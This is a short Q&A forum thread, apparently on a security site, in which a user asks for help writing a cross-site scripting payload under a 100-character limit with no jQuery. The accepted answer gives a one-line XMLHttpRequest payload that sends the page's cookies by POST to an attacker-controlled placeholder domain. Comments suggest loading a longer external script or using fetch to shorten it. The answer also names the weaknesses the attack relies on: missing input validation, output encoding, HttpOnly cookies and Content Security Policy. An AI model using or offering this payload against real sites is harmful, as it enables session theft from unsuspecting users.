The rules also Include 1. No jQuery 2. Only through making an API AJAX request. 3.character limitation of 100 characters.

Can any suggest me how I can build a payload sticking with these rules.

  • Are you limited to 100 characters overall, or just in your exploit? Because assuming you can inject a script tag, you can load an external script of arbitrary length. It's usually shorter than embedding the payload script code in the exploit anyhow.
    – CBHacking
    Commented Sep 27, 2021 at 9:17

1 Answer 1

var xhr=new XMLHttpRequest;xhr.open("POST","https://{short_domain"),xhr.send(document.cookies);

You have here around 90 characters (depending on the domain URL you are calling), no JQuery and AJAX call.

Unfortunately this solution assumes that what could be done wrong regards security, was done wrongly: No input validation (whitelisting), no output encoding, cookies without http-only flag, no Content Security Policy. I hope no such a page exists.

  • Fetch API might be more concise than XHR?
    – CBHacking
    Commented Sep 27, 2021 at 9:20

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .